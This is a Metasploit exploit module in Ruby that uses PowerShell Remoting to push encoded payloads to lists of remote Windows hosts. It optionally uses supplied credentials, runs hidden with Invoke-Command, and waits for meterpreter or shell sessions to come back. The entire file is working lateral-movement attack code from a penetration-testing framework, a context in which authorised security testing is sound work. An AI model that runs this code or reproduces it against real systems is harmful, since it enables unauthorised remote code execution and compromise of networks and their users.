##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
          'Name'          => 'Powershell Remoting Remote Command Execution',
          'Description'   => %q{
            This module uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
          If RHOSTS are specified, it will try to resolve the IPs to hostnames, otherwise
          use a HOSTFILE to supply a list of known hostnames.
          },
          'License'       => MSF_LICENSE,
          'Author'        => [ 'Ben Campbell' ],
          'References'    =>
            [
              [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
              [ 'OSVDB', '3106']
            ],
          'DefaultOptions' =>
              {
                'EXITFUNC' => 'thread'
              },
          'DisclosureDate' => 'Jan 01 1999',
          'Platform'      => [ 'win' ],
          'SessionTypes'  => [ 'meterpreter', 'shell' ],
          'Targets' =>
          [
            [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
          ],
          'DefaultTarget' => 0
      ))

    register_options([
      OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
      OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
      OptString.new('SMBDomain',  [ false, 'The Windows domain to use for authentication' ]),
      OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
      OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
      # Move this out of advanced
      OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
      OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ])
    ])

    register_advanced_options(
      [
        OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
      ])
  end

  def exploit
    if !datastore['ExitOnSession'] && !job_id
      fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
    end

    unless datastore['RHOSTS'] || datastore['HOSTFILE']
      fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
    end

    if datastore['SMBUser'] && datastore['SMBPass'].nil?
      fail_with(Failure::BadConfig, "Need both username and password set.")
    end

    if datastore['RHOSTS']
      ip_list = "$iplist="
      Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
        ip_list << "'#{ip}',"
      end

      # Remove trailing comma...
      ip_list = ip_list[0..-2]
      ip_list << ";"
    end

    known_hosts = ""
    if datastore['HOSTFILE']
      ::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
        hostname.strip!
        known_hosts << "'#{hostname}'," unless hostname.blank?
      end
      known_hosts = known_hosts[0..-2]
    end

    command = cmd_psh_payload(payload.encoded,
                              payload_instance.arch.first,
                              encode_final_payload: true,
                              remove_comspec: true)

    ps = <<EOF
#{generate_credentials}
$ResultList=@(#{known_hosts});
#{ip_list}
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
EOF

    if datastore['SMBUser']
      ps << " -Credential $creds"
    end

    # If the host process terminates too quickly the jobs will die
    # before they spawn in a new process.
    ps << ";Sleep 20;"
    ps.gsub!("\n", "")

    command = generate_psh_command_line(
      noprofile: true,
      windowstyle: 'hidden',
      command: ps
    )

    print_status("Executing command...")
    begin
      cmd_exec(command)
    rescue Rex::TimeoutError
    end

    stime = Time.now.to_f
    loop do
      break if session_created? && datastore['ExitOnSession']
      break if  datastore['ListenerTimeout'].to_i > 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f)

      Rex.sleep(1)
    end

    print_status("Completed")
  end

  def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass'])
    creds = ""

    unless user.nil?
      creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\
      "$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
      if domain.nil?
        creds << "'#{user}'"
      else
        creds << "'#{domain}\\#{user}'"
      end

      creds << ",$pass;"
    end

    creds
  end
end
